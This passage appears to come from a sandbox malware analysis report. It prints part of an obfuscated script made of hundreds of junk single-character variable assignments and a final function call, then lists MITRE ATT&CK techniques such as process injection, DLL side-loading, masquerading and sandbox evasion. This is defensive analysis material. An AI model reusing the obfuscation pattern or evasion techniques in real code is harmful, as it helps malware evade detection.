578	axuwyqo = "z";
579	axuwyqo = "J";
580	axuwyqo = "F";
581	lwyhnv = "z";
582	lwyhnv = "C";
583	lwyhnv = "H";
584	lwyhnv = "M";
585	lwyhnv = "Z";
586	lwyhnv = "y";
587	lwyhnv = "B";
588	lwyhnv = "m";
589	lwyhnv = "U";
590	lwyhnv = "Y";
591	lwyhnv = "i";
592	lwyhnv = "T";
593	lwyhnv = "Q";
594	lwyhnv = "Q";
595	lwyhnv = "l";
596	lwyhnv = "g";
597	lwyhnv = "v";
598	lwyhnv = "c";
599	lhzfkk = "S";
600	lhzfkk = "p";
601	lhzfkk = "U";
602	lhzfkk = "U";
603	lhzfkk = "E";
604	lhzfkk = "i";
605	lhzfkk = "P";
606	lhzfkk = "R";
607	lhzfkk = "j";
608	lhzfkk = "m";
609	lhzfkk = "g";
610	lhzfkk = "f";
611	lhzfkk = "I";
612	lhzfkk = "L";
613	lhzfkk = "Z";
614	lhzfkk = "m";
615	lhzfkk = "p";
616	lhzfkk = "Y";
617	lhzfkk = "N";
618	lhzfkk = "n";
619	lhzfkk = "k";
620	lhzfkk = "N";
621	lhzfkk = "E";
622	lhzfkk = "W";
623	lhzfkk = "g";
624	lhzfkk = "I";
625	lhzfkk = "i";
626	lhzfkk = "I";
627	lhzfkk = "S";
628	lhzfkk = "I";
629	lhzfkk = "f";
630	lhzfkk = "g";
631	lhzfkk = "H";
632	lhzfkk = "r";
633	lhzfkk = "h";
634	lhzfkk = "s";
635	lhzfkk = "r";
636	lhzfkk = "O";
637	bkpvqek = "O";
638	bkpvqek = "K";
639	bkpvqek = "v";
640	bkpvqek = "z";
641	bkpvqek = "x";
642	bkpvqek = "I";
643	bkpvqek = "J";
644	bkpvqek = "w";
645	bkpvqek = "X";
646	bkpvqek = "K";
647	bkpvqek = "e";
648	bkpvqek = "J";
649	bkpvqek = "g";
650	bkpvqek = "x";
651	bkpvqek = "g";
652	bkpvqek = "p";
653	bkpvqek = "l";
654	bkpvqek = "J";
655	bkpvqek = "Q";
656	bkpvqek = "2";
657	ccqdbqs = "b";
658	ccqdbqs = "o";
659	ccqdbqs = "h";
660	ccqdbqs = "T";
661	ccqdbqs = "P";
662	ccqdbqs = "M";
663	ccqdbqs = "b";
664	yareeu = "m";
665	yareeu = "D";
666	yareeu = "a";
667	yareeu = "Y";
668	yareeu = "o";
669	yareeu = "m";
670	ffbvkxeec = "f";
671	ffbvkxeec = "K";
672	ffbvkxeec = "S";
673	ffbvkxeec = "v";
674	ffbvkxeec = "B";
675	ffbvkxeec = "r";
676	ffbvkxeec = "u";
677	ffbvkxeec = "b";
678	ffbvkxeec = "k";
679	ffbvkxeec = "A";
680	ffbvkxeec = "w";
681	ffbvkxeec = "f";
682	ffbvkxeec = "N";
683	ffbvkxeec = "G";
684	ffbvkxeec = "f";
685	ffbvkxeec = "e";
686	ffbvkxeec = "y";
687	ffbvkxeec = "n";
688	ffbvkxeec = "V";
689	ffbvkxeec = "k";
690	ffbvkxeec = "j";
691	ffbvkxeec = "o";
692	ffbvkxeec = "V";
693	ffbvkxeec = "t";
694	ffbvkxeec = "U";
695	ffbvkxeec = "R";
696	ffbvkxeec = "U";
697	ffbvkxeec = "b";
698	ffbvkxeec = "h";
699	ffbvkxeec = "T";
700	mktrkxgfm = "\\";
701	zpozllt = "T";
702	zpozllt = "f";
703	zpozllt = "x";
704	zpozllt = "x";
705	zpozllt = "J";
706	zpozllt = "E";
707	zpozllt = "U";
708	rtvigk = "D";
709	rtvigk = "Z";
710	rtvigk = "V";
711	rtvigk = "F";
712	rtvigk = "i";
713	rtvigk = "A";
714	rtvigk = "r";
715	rtvigk = "z";
716	rtvigk = "n";
717	rtvigk = "s";
718	rtvigk = "D";
719	rtvigk = "H";
720	rtvigk = "d";
721	gntzebv = "I";
722	gntzebv = "T";
723	gntzebv = "b";
724	gntzebv = "r";
725	gntzebv = "u";
726	gntzebv = "P";
727	gntzebv = "q";
728	gntzebv = "e";
729	gntzebv = "Y";
730	gntzebv = "F";
731	gntzebv = "x";
732	gntzebv = "x";
733	gntzebv = "i";
734	gntzebv = "C";
735	gntzebv = "P";
736	gntzebv = "m";
737	gntzebv = "o";
738	gntzebv = "u";
739	gntzebv = "v";
740	gntzebv = "E";
741	gntzebv = "q";
742	gntzebv = "w";
743	gntzebv = "q";
744	gntzebv = "g";
745	gntzebv = "y";
746	gntzebv = "i";
747	gntzebv = "t";
748	gntzebv = "J";
749	gntzebv = "H";
750	gntzebv = "U";
751	gntzebv = "b";
752	gntzebv = "i";
753	gntzebv = "k";
754	gntzebv = "q";
755	gntzebv = "N";
756	gntzebv = "Z";
757	gntzebv = "b";
758	gntzebv = "X";
759	gntzebv = "E";
760	qmtvxyh = "P";
761	qmtvxyh = "g";
762	qmtvxyh = "L";
763	qmtvxyh = "w";
764	qmtvxyh = "r";
765	qmtvxyh = "c";
766	qmtvxyh = "J";
767	qmtvxyh = "B";
768	qmtvxyh = "T";
769	qmtvxyh = "F";
770	qmtvxyh = "Z";
771	qmtvxyh = "Q";
772	qmtvxyh = "g";
773	qmtvxyh = "o";
774	qmtvxyh = "m";
775	qmtvxyh = "W";
776	qmtvxyh = "z";
777	qmtvxyh = "0";
778	viphj = "a";
779	viphj = "B";
780	viphj = "E";
781	viphj = "I";
782	viphj = "w";
783	viphj = "m";
784	viphj = "T";
785	viphj = "v";
786	viphj = "L";
787	viphj = "o";
788	viphj = "z";
789	viphj = "D";
790	viphj = "w";
791	viphj = "F";
792	viphj = "p";
793	viphj = "V";
794	viphj = "f";
795	viphj = "o";
796	viphj = "g";
797	pkhlhwvhh = "H";
798	pkhlhwvhh = "z";
799	pkhlhwvhh = "q";
800	pkhlhwvhh = "Q";
801	pkhlhwvhh = "X";
802	pkhlhwvhh = "r";
803	pkhlhwvhh = "t";
804	pkhlhwvhh = "G";
805	pkhlhwvhh = "g";
806	pkhlhwvhh = "G";
807	pkhlhwvhh = "Y";
808	pkhlhwvhh = "M";
809	pkhlhwvhh = "s";
810	pkhlhwvhh = "A";
811	pkhlhwvhh = "G";
812	pkhlhwvhh = "x";
813	pkhlhwvhh = "D";
814	pkhlhwvhh = "Q";
815	pkhlhwvhh = "m";
816	pkhlhwvhh = "w";
817	pkhlhwvhh = "N";
818	pkhlhwvhh = "D";
819	pkhlhwvhh = "j";
820	pkhlhwvhh = "h";
821	pkhlhwvhh = "q";
822	pkhlhwvhh = "H";
823	pkhlhwvhh = "e";
824	pkhlhwvhh = "T";
825	pkhlhwvhh = "v";
826	pkhlhwvhh = "U";
827	pkhlhwvhh = "z";
828	pkhlhwvhh = "t";
829	dxiwp = "t";
830	dxiwp = "V";
831	dxiwp = "j";
832	dxiwp = "t";
833	dxiwp = "Q";
834	dxiwp = "W";
835	dxiwp = "y";
836	dxiwp = "e";
837	dxiwp = "V";
838	dxiwp = "i";
839	dxiwp = "o";
840	dxiwp = "q";
841	dxiwp = "W";
842	dxiwp = "O";
843	dxiwp = "g";
844	dxiwp = "N";
845	dxiwp = "P";
846	dxiwp = "L";
847	dxiwp = "_";
848	npxwz = "Q";
849	npxwz = "M";
850	npxwz = "l";
851	npxwz = "x";
852	npxwz = "s";
853	npxwz = "m";
854	npxwz = "x";
855	npxwz = "t";
856	npxwz = "I";
857	npxwz = "V";
858	npxwz = "S";
859	npxwz = "w";
860	npxwz = "W";
861	npxwz = "O";
862	npxwz = "e";
863	npxwz = "P";
864	npxwz = "m";
865	npxwz = "l";
866	npxwz = "d";
867	npxwz = "y";
868	npxwz = "S";
869	npxwz = "c";
870	npxwz = "e";
871	npxwz = "m";
872	npxwz = "k";
873	npxwz = "t";
874	npxwz = "I";
875	jifkcaao = "E";
876	jifkcaao = "w";
877	jifkcaao = "A";
878	jifkcaao = "S";
879	jifkcaao = "T";
880	jifkcaao = "h";
881	jifkcaao = "A";
882	jifkcaao = "H";
883	jifkcaao = "v";
884	jifkcaao = "s";
885	jifkcaao = "i";
886	jifkcaao = "a";
887	jifkcaao = "t";
888	jifkcaao = "k";
889	jifkcaao = "T";
890	jifkcaao = "j";
891	jifkcaao = "f";
892	jifkcaao = "N";
893	jifkcaao = "k";
894	jifkcaao = "B";
895	jifkcaao = "C";
896	jifkcaao = "T";
897	jifkcaao = "F";
898	jifkcaao = "Y";
899	jifkcaao = "y";
900	jifkcaao = "A";
901	jifkcaao = "k";
902	jifkcaao = "I";
903	jifkcaao = "r";
904	jifkcaao = "R";
905	jifkcaao = "y";
906	jifkcaao = "a";
907	jifkcaao = "H";
908	jifkcaao = "t";
909	jifkcaao = "q";
910	jifkcaao = "w";
911	opzotskao = "P";
912	opzotskao = "H";
913	opzotskao = "j";
914	opzotskao = "u";
915	opzotskao = "D";
916	opzotskao = "W";
917	tgpayj = "W";
918	tgpayj = "n";
919	tgpayj = "G";
920	tgpayj = "Y";
921	tgpayj = "U";
922	tgpayj = "O";
923	tgpayj = "c";
924	tgpayj = "O";
925	tgpayj = "H";
926	tgpayj = "i";
927	tgpayj = "a";
928	tgpayj = "b";
929	tgpayj = "d";
930	tgpayj = "O";
931	tgpayj = "a";
932	tgpayj = "O";
933	tgpayj = "L";
934	tgpayj = "o";
935	tgpayj = "j";
936	csjvy = "x";
937	csjvy = "l";
938	csjvy = "j";
939	csjvy = "U";
940	csjvy = "Y";
941	csjvy = "B";
942	csjvy = "E";
943	csjvy = "I";
944	csjvy = "s";
945	csjvy = "u";
946	csjvy = "K";
947	umowi = "L";
948	umowi = "-";
949	zbhltwv = "G";
950	zbhltwv = "W";
951	zbhltwv = "v";
952	zbhltwv = "j";
953	zbhltwv = "C";
954	zbhltwv = "p";
955	zbhltwv = "L";
956	zbhltwv = "u";
957	zbhltwv = "W";
958	zbhltwv = "H";
959	zbhltwv = "s";
960	zbhltwv = "W";
961	zbhltwv = "K";
962	zbhltwv = "K";
963	zbhltwv = "L";
964	zbhltwv = "t";
965	zbhltwv = "L";
966	zbhltwv = "k";
967	zbhltwv = "Q";
968	zbhltwv = "l";
969	zbhltwv = "u";
970	zbhltwv = "M";
971	zbhltwv = "j";
972	zbhltwv = "Z";
973	zbhltwv = "n";
974	zbhltwv = "E";
975	zbhltwv = "r";
976	dlhhuxg = "W";
977	dlhhuxg = "M";
978	dlhhuxg = "T";
979	dlhhuxg = "K";
980	dlhhuxg = "A";
981	dlhhuxg = "n";
982	dlhhuxg = "L";
983	dlhhuxg = "x";
984	dlhhuxg = "v";
985	dlhhuxg = "E";
986	dlhhuxg = "B";
987	dlhhuxg = "d";
988	dlhhuxg = "H";
989	dlhhuxg = "Q";
990	dlhhuxg = "k";
991	dlhhuxg = "P";
992	dlhhuxg = "M";
993	dlhhuxg = "o";
994	dlhhuxg = "v";
995	dlhhuxg = "h";
996	dlhhuxg = "R";
997	dlhhuxg = "j";
998	dlhhuxg = "w";
999	dlhhuxg = "A";
1000	dlhhuxg = "Y";
1001	dlhhuxg = "l";
1002	dlhhuxg = "v";
1003	dlhhuxg = "l";
1004	dlhhuxg = "W";
1005	dlhhuxg = "m";
1006	dlhhuxg = "z";
1007	dlhhuxg = "Q";
1008	dlhhuxg = "p";
1009	dlhhuxg = "x";
1010	dlhhuxg = ".";
1011	mfeayu = "o";
1012	mfeayu = "h";
1013	mfeayu = "o";
1014	mfeayu = "b";
1015	mfeayu = "T";
1016	mfeayu = "G";
1017	mfeayu = "j";
1018	mfeayu = "F";
1019	mfeayu = "1";
1020	ywlgiifnc = "T";
1021	ywlgiifnc = "Y";
1022	ywlgiifnc = "s";
1023	ywlgiifnc = "S";
1024	ywlgiifnc = "x";
1025	ywlgiifnc = "F";
1026	ywlgiifnc = "w";
1027	ywlgiifnc = "P";
1028	ywlgiifnc = "d";
1029	ywlgiifnc = "Z";
1030	ywlgiifnc = "p";
1031	ywlgiifnc = "n";
1032	ywlgiifnc = "W";
1033	ywlgiifnc = "L";
1034	ywlgiifnc = "n";
1035	ywlgiifnc = "x";
1036	ywlgiifnc = "F";
1037	ywlgiifnc = "B";
1038	ywlgiifnc = "D";
1039	ywlgiifnc = "U";
1040	ywlgiifnc = "U";
1041	ywlgiifnc = "b";
1042	ywlgiifnc = "L";
1043	ywlgiifnc = "g";
1044	ywlgiifnc = "z";
1045	ywlgiifnc = "U";
1046	ywlgiifnc = "S";
1047	ywlgiifnc = "I";
1048	ywlgiifnc = "r";
1049	ywlgiifnc = "F";
1050	ywlgiifnc = ":";
1051	ywoolp = "w";
1052	ywoolp = "S";
1053	ywoolp = "m";
1054	ywoolp = "w";
1055	ywoolp = "r";
1056	ywoolp = "f";
1057	ywoolp = "k";
1058	ywoolp = "S";
1059	ywoolp = "h";
1060	ywoolp = "m";
1061	ywoolp = "o";
1062	ywoolp = "l";
1063	ywoolp = "t";
1064	ywoolp = "i";
1065	ywoolp = "w";
1066	ywoolp = "w";
1067	ywoolp = "f";
1068	ywoolp = "W";
1069	ywoolp = "Q";
1070	ywoolp = "d";
1071	ywoolp = "T";
1072	ywoolp = "J";
1073	ywoolp = "S";
1074	wdfmgprd = "h";
1075	wdfmgprd = "g";
1076	wdfmgprd = "V";
1077	wdfmgprd = "F";
1078	wdfmgprd = "P";
1079	wdfmgprd = "O";
1080	wdfmgprd = "d";
1081	wdfmgprd = "B";
1082	wdfmgprd = "r";
1083	wdfmgprd = "X";
1084	wdfmgprd = "y";
1085	wdfmgprd = "U";
1086	wdfmgprd = "U";
1087	wdfmgprd = "B";
1088	wdfmgprd = "y";
1089	wdfmgprd = "G";
1090	wdfmgprd = "y";
1091	wdfmgprd = "Y";
1092	wdfmgprd = "J";
1093	wdfmgprd = "Q";
1094	wdfmgprd = "O";
1095	wdfmgprd = "M";
1096	wdfmgprd = "T";
1097	wdfmgprd = "j";
1098	wdfmgprd = "y";
1099	wdfmgprd = "U";
1100	wdfmgprd = "g";
1101	wdfmgprd = "X";
1102	wdfmgprd = "S";
1103	wdfmgprd = "N";
1104	wdfmgprd = "o";
1105	wdfmgprd = "l";
1106	wdfmgprd = "j";
1107	wdfmgprd = "I";
1108	wdfmgprd = "g";
1109	wdfmgprd = "E";
1110	wdfmgprd = "H";
1111	akkyo = "O";
1112	akkyo = "b";
1113	akkyo = "Z";
1114	akkyo = "f";
1115	akkyo = "h";
1116	akkyo = "s";
1117	akkyo = "D";
1118	akkyo = "Q";
1119	akkyo = "Y";
1120	akkyo = "e";
1121	akkyo = "h";
1122	akkyo = "e";
1123	akkyo = "K";
1124	akkyo = "D";
1125	akkyo = "H";
1126	akkyo = "b";
1127	akkyo = "A";
1128	akkyo = "D";
1129	akkyo = "A";
1130	akkyo = "C";
1131	akkyo = "u";
1132	akkyo = "p";
1133	nqpaprlt = "R";
1134	rgjedu = "c";
1135	rgjedu = "P";
1136	rgjedu = "a";
1137	rgjedu = "V";
1138	rgjedu = "c";
1139	rgjedu = "i";
1140	rgjedu = "b";
1141	rgjedu = "g";
1142	rgjedu = "T";
1143	rgjedu = "p";
1144	rgjedu = "M";
1145	rgjedu = "T";
1146	rgjedu = "J";
1147	rgjedu = "k";
1148	rgjedu = "x";
1149	rgjedu = "6";
1150	kntnymlok = "S";
1151	kntnymlok = "K";
1152	kntnymlok = "t";
1153	kntnymlok = "K";
1154	kntnymlok = "b";
1155	kntnymlok = "C";
1156	kntnymlok = "a";
1157	qanmjw = "N";
1158	qanmjw = "D";
1159	qanmjw = "V";
1160	qanmjw = "B";
1161	qanmjw = "z";
1162	qanmjw = "f";
1163	qanmjw = "s";
1164	qanmjw = "m";
1165	qanmjw = "o";
1166	qanmjw = "q";
1167	qanmjw = "G";
1168	qanmjw = "Q";
1169	qanmjw = "i";
1170	qanmjw = "k";
1171	qanmjw = "j";
1172	qanmjw = "R";
1173	qanmjw = "e";
1174	qanmjw = "c";
1175	qanmjw = "Z";
1176	qanmjw = "O";
1177	qanmjw = "x";
1178	qanmjw = "a";
1179	qanmjw = "Z";
1180	qanmjw = "G";
1181	qanmjw = "U";
1182	qanmjw = "Z";
1183	qanmjw = "I";
1184	qanmjw = "l";
1185	qanmjw = "e";
1186	qanmjw = "r";
1187	qanmjw = "C";
1188	chppu = "J";
1189	chppu = "U";
1190	chppu = "l";
1191	chppu = "n";
1192	chppu = "j";
1193	chppu = "j";
1194	chppu = "k";
1195	chppu = "X";
1196	chppu = "v";
1197	chppu = "e";
1198	chppu = "f";
1199	chppu = "n";
1200	chppu = "w";
1201	chppu = "i";
1202	chppu = "A";
1203	chppu = "Q";
1204	chppu = "h";
1205	chppu = "p";
1206	chppu = "c";
1207	chppu = "s";
1208	chppu = "b";
1209	chppu = "y";
1210	chppu = "R";
1211	chppu = "t";
1212	chppu = "g";
1213	chppu = "i";
1214	chppu = "i";
1215	chppu = "r";
1216	chppu = "v";
1217	chppu = "N";
1218	chppu = "I";
1219	chppu = "s";
1220	brgqzdop = "J";
1221	brgqzdop = "U";
1222	brgqzdop = "n";
1223	brgqzdop = "O";
1224	brgqzdop = "i";
1225	brgqzdop = "J";
1226	brgqzdop = "r";
1227	brgqzdop = "s";
1228	brgqzdop = "m";
1229	brgqzdop = "e";
1230	brgqzdop = "i";
1231	brgqzdop = "D";
1232	brgqzdop = "G";
1233	brgqzdop = "i";
1234	oeoeq = "M";
1235	oeoeq = "k";
1236	oeoeq = "p";
1237	oeoeq = "E";
1238	oeoeq = "u";
1239	oeoeq = "Z";
1240	oeoeq = "L";
1241	oeoeq = "D";
1242	oeoeq = "k";
1243	oeoeq = "M";
1244	oeoeq = "q";
1245	oeoeq = "I";
1246	oeoeq = "e";
1247	oeoeq = "X";
1248	oeoeq = "l";
1249	oeoeq = "t";
1250	oeoeq = "c";
1251	oeoeq = "m";
1252	oeoeq = "w";
1253	oeoeq = "C";
1254	oeoeq = "e";
1255	oeoeq = "r";
1256	oeoeq = "h";
1257	oeoeq = "R";
1258	oeoeq = "J";
1259	oeoeq = "o";
1260	oeoeq = "r";
1261	oeoeq = "r";
1262	oeoeq = "k";
1263	oeoeq = "A";
1264	oeoeq = "F";
1265	oeoeq = "b";
1266	oeoeq = "z";
1267	oeoeq = "y";
1268	oeoeq = "L";
1269	oeoeq = "l";
1270	oeoeq = "k";
1271	oeoeq = "A";
1272	oeoeq = "Y";
1273	oeoeq = "t";
1274	oeoeq = "4";
1275	fjakauw = "B";
1276	fjakauw = "L";
1277	fjakauw = "d";
1278	fjakauw = "e";
1279	fjakauw = "W";
1280	fjakauw = "g";
1281	fjakauw = "x";
1282	fjakauw = "d";
1283	fjakauw = "x";
1284	fjakauw = "V";
1285	fjakauw = "U";
1286	fjakauw = "u";
1287	fjakauw = "r";
1288	fjakauw = "A";
1289	fjakauw = "R";
1290	fjakauw = "E";
1291	fjakauw = "D";
1292	fjakauw = "e";
1293	fjakauw = "G";
1294	fjakauw = "Y";
1295	fjakauw = "K";
1296	fjakauw = "G";
1297	fjakauw = "j";
1298	fjakauw = "g";
1299	fjakauw = "n";
1300	fjakauw = "P";
1301	fjakauw = "T";
1302	fjakauw = "F";
1303	fjakauw = "n";
1304	fjakauw = "u";
1305	fjakauw = "o";
1306	fjakauw = "N";
1307	fjakauw = "q";
1308	fjakauw = "I";
1309	fjakauw = "n";
1310	iduvmrsr = "X";
1311	iduvmrsr = "B";
1312	iduvmrsr = "G";
1313	iduvmrsr = "K";
1314	iduvmrsr = "t";
1315	iduvmrsr = "L";
1316	iduvmrsr = "i";
1317	iduvmrsr = "O";
1318	iduvmrsr = "E";
1319	iduvmrsr = "G";
1320	iduvmrsr = "n";
1321	iduvmrsr = "e";
1322	iduvmrsr = "b";
1323	iduvmrsr = "Z";
1324	iduvmrsr = "M";
1325	iduvmrsr = "d";
1326	iduvmrsr = "v";
1327	iduvmrsr = "P";
1328	iduvmrsr = "O";
1329	iduvmrsr = "B";
1330	iduvmrsr = "I";
1331	iduvmrsr = "d";
1332	iduvmrsr = "O";
1333	iduvmrsr = "N";
1334	iduvmrsr = "H";
1335	iduvmrsr = "V";
1336	iduvmrsr = "K";
1337	iduvmrsr = "B";
1338	iduvmrsr = "k";
1339	iduvmrsr = "O";
1340	iduvmrsr = "X";
1341	iduvmrsr = "%";
1342	yslkowox = "n";
1343	yslkowox = "K";
1344	yslkowox = "a";
1345	yslkowox = "W";
1346	yslkowox = "E";
1347	yslkowox = "x";
1348	yslkowox = "m";
1349	yslkowox = "J";
1350	yslkowox = "C";
1351	yslkowox = "s";
1352	yslkowox = "u";
1353	yslkowox = "Y";
1354	yslkowox = "N";
1355	yslkowox = "C";
1356	yslkowox = "x";
1357	yslkowox = "S";
1358	yslkowox = "V";
1359	yslkowox = "m";
1360	yslkowox = "p";
1361	yslkowox = "d";
1362	yslkowox = "K";
1363	yslkowox = "O";
1364	yslkowox = "l";
1365	yslkowox = "q";
1366	yslkowox = "h";
1367	yslkowox = "h";
1368	yslkowox = "H";
1369	yslkowox = "J";
1370	yslkowox = "c";
1371	yslkowox = "Z";
1372	yslkowox = "U";
1373	yslkowox = "N";
1374	yslkowox = "c";
1375	yslkowox = "P";
1376	yslkowox = "A";
1377	yslkowox = "i";
1378	yslkowox = "U";
1379	yslkowox = "C";
1380	yslkowox = "o";
1381	yslkowox = "j";
1382	yslkowox = "q";
1383	uggrsjd = "A";
1384	uggrsjd = "A";
1385	uggrsjd = "u";
1386	uggrsjd = "s";
1387	uggrsjd = "B";
1388	uggrsjd = "P";
1389	uggrsjd = "C";
1390	uggrsjd = "b";
1391	uggrsjd = "t";
1392	uggrsjd = "Y";
1393	uggrsjd = "c";
1394	uggrsjd = "T";
1395	uggrsjd = "q";
1396	uggrsjd = "a";
1397	uggrsjd = "G";
1398	uggrsjd = "M";
1399	uggrsjd = "F";
1400	uggrsjd = "Y";
1401	uggrsjd = "l";
1402	uggrsjd = "S";
1403	uggrsjd = "N";
1404	igwpq = "N";
1405	igwpq = "Y";
1406	igwpq = "U";
1407	igwpq = "v";
1408	igwpq = "d";
1409	igwpq = "o";
1410	igwpq = "m";
1411	igwpq = "a";
1412	igwpq = "z";
1413	igwpq = "Y";
1414	igwpq = "F";
1415	igwpq = "M";
1416	igwpq = "F";
1417	igwpq = "y";
1418	igwpq = "B";
1419	igwpq = "d";
1420	igwpq = "w";
1421	igwpq = "z";
1422	igwpq = "m";
1423	igwpq = "i";
1424	igwpq = "z";
1425	igwpq = "h";
1426	igwpq = "z";
1427	igwpq = "B";
1428	igwpq = "j";
1429	igwpq = "x";
1430	igwpq = "P";
1431	igwpq = "A";
1432	igwpq = "v";
1433	igwpq = "D";
1434	igwpq = "b";
1435	igwpq = "i";
1436	igwpq = "N";
1437	igwpq = "k";
1438	igwpq = "v";
1439	dshzjhj = "T";
1440	dshzjhj = "k";
1441	mmothjf = "U";
1442	mmothjf = "G";
1443	mmothjf = "W";
1444	mmothjf = "w";
1445	mmothjf = "r";
1446	mmothjf = "i";
1447	mmothjf = "V";
1448	mmothjf = "e";
1449	mmothjf = "O";
1450	mmothjf = "U";
1451	mmothjf = "M";
1452	mmothjf = "X";
1453	mmothjf = "q";
1454	mmothjf = "Z";
1455	mmothjf = "m";
1456	mmothjf = "U";
1457	mmothjf = "k";
1458	mmothjf = "W";
1459	mmothjf = "@";
1460	rtefrwtzy = "c";
1461	rtefrwtzy = "a";
1462	rtefrwtzy = "X";
1463	rtefrwtzy = "O";
1464	rtefrwtzy = "K";
1465	rtefrwtzy = "u";
1466	rtefrwtzy = "q";
1467	rtefrwtzy = "X";
1468	rtefrwtzy = "O";
1469	rtefrwtzy = "u";
1470	rtefrwtzy = "P";
1471	rtefrwtzy = "j";
1472	rtefrwtzy = "U";
1473	rtefrwtzy = "s";
1474	rtefrwtzy = "L";
1475	rtefrwtzy = "N";
1476	rtefrwtzy = "K";
1477	rtefrwtzy = "q";
1478	rtefrwtzy = "l";
1479	rtefrwtzy = "h";
1480	ntspav ( );	ntspav() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
